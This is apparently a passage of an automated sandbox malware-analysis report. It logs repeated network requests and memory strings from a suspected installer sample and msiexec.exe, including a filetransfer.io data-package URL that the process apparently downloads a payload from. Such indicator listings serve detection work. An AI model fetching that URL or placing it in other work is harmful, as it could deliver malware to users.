Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: 171.39.242.20.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: filetransfer.io

Source: ht58337iNC.exe, ht58337iNC.exe.2.dr	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: msiexec.exe, 00000006.00000003.2858350522.0000000005C43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io
Source: msiexec.exe, 00000006.00000002.3429200540.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3116890633.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3038351194.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2913528890.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2938361218.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2930468686.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3109347991.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2938412767.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3179355815.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3124442146.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2809294034.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2825933685.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3030910908.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3260839849.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3342074054.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2975182321.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2967867900.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2866051872.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3060406770.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3023344289.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3220399286.0000000005C43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io/
Source: msiexec.exe, 00000006.00000002.3429200540.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2809294034.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2825933685.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3260839849.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3342074054.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3350462901.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2834382544.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3381291401.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3419081563.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3237639134.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3285117552.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3396841536.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2842803147.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3252976537.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3310366497.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3357805078.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3365366661.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2816736902.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3411693983.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3295318344.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3319554341.0000000005C43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io/%
Source: msiexec.exe, 00000006.00000003.3007751552.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3007679682.0000000005C43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io/)
Source: msiexec.exe, 00000006.00000003.3269062295.0000000005BF7000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3429200540.0000000005BE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io/Certificates
Source: msiexec.exe, 00000006.00000002.3429200540.0000000005C1A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3269062295.0000000005C1A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3295401697.0000000005C1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io/H
Source: msiexec.exe, 00000006.00000003.3252976537.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io/contact/2/CQkJCXdoaWxlIHVzaW5nIEZpbGVUcmFuc2Zlci5pb.#
Source: msiexec.exe, 00000006.00000003.2873776933.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3124442146.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3381291401.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2824231194.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3023261165.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2982929495.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3365446690.0000000005C2F000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2889947563.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2842803147.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2858350522.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3000101439.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3202428854.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3237639134.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2921974056.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2906178695.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3141166253.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3269139830.0000000005C2F000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3429495564.00000000074D0000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2953060831.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3172141678.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3396841536.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io/contact/2/CQkJCXdoaWxlIHVzaW5nIEZpbGVUcmFuc2Zlci5pbyBhbiBlcnJvciAiJWVycm9ySW
Source: msiexec.exe, 00000006.00000003.3194660872.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2858350522.0000000005C43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io/data-package/sJfx1gsn/download
Source: msiexec.exe, 00000006.00000002.3429200540.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3116890633.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3038351194.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3109347991.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3124442146.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3030910908.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3260839849.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3342074054.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2975182321.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3060406770.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3023344289.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3045718115.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3350462901.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3381291401.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2975216412.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3419081563.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3285117552.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3133442742.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3396841536.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3023261165.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3060481052.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io/data-package/sJfx1gsn/download$
Source: msiexec.exe, 00000006.00000002.3429200540.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3179355815.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3260839849.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3342074054.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3220399286.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3350462901.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3186839599.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3381291401.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3419081563.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3237639134.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3285117552.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3396841536.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3209959677.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3252976537.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3310366497.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3357805078.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3365366661.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3164821026.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3411693983.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3295318344.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3319554341.0000000005C43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io/data-package/sJfx1gsn/download%
Source: msiexec.exe, 00000006.00000003.2913528890.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2938361218.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2930468686.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2938412767.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2866051872.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3220399286.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2953139009.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2880777878.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2834382544.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2890484473.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2953060831.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2930435186.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2960128906.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2889947563.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3209959677.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2873825398.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2906178695.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2842803147.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2865965142.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2945765819.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2960162525.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io/data-package/sJfx1gsn/download4
Source: msiexec.exe, 00000006.00000003.3269062295.0000000005BF7000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3429200540.0000000005BE4000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3295401697.0000000005BF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io/data-package/sJfx1gsn/downloadA
Source: msiexec.exe, 00000006.00000003.2930468686.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2930435186.0000000005C43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io/data-package/sJfx1gsn/downloadC(
Source: msiexec.exe, 00000006.00000002.3429200540.0000000005BAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io/data-package/sJfx1gsn/downloadEgHz
Source: msiexec.exe, 00000006.00000003.3038351194.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3030910908.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3023344289.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3045718115.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3023261165.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3030980397.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3007751552.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3052923454.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3052979091.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3000101439.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3038276428.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3045792274.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2992415875.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3007679682.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3000167108.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2992371925.0000000005C43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io/data-package/sJfx1gsn/downloadL
Source: msiexec.exe, 00000006.00000003.3116890633.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3038351194.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3109347991.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3179355815.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3124442146.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3030910908.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3260839849.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3342074054.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3060406770.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3023344289.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3220399286.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3045718115.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3350462901.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3186839599.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3237639134.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3285117552.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3133442742.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3023261165.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3209959677.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3060481052.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3030980397.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io/data-package/sJfx1gsn/downloadO
Source: msiexec.exe, 00000006.00000003.3404111400.0000000005C43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io/data-package/sJfx1gsn/downloadP$
Source: msiexec.exe, 00000006.00000003.2801731343.0000000005C43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io/data-package/sJfx1gsn/downloadSan
Source: msiexec.exe, 00000006.00000003.2898439697.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io/data-package/sJfx1gsn/downloadTG
Source: msiexec.exe, 00000006.00000002.3429200540.0000000005C1A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3269062295.0000000005C1A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3295401697.0000000005C1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io/data-package/sJfx1gsn/downloadX
Source: msiexec.exe, 00000006.00000003.3116890633.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3038351194.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3109347991.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3124442146.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3030910908.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2975182321.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3060406770.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3023344289.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3045718115.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2975216412.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3237639134.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3133442742.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3023261165.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3060481052.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3030980397.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3007751552.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3052923454.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3052979091.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2984923936.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3101759038.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3076397470.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io/data-package/sJfx1gsn/download_
Source: msiexec.exe, 00000006.00000003.3269062295.0000000005C1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io/data-package/sJfx1gsn/downloadh
Source: msiexec.exe, 00000006.00000002.3429200540.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3116890633.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3109347991.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3179355815.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3124442146.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3186839599.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3381291401.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3419081563.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3133442742.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3396841536.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3357805078.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3365366661.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3164821026.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3101759038.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3411693983.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3092322253.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3172141678.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3388898426.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3141166253.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3156988418.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3372830148.0000000005C43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io/data-package/sJfx1gsn/downloadi
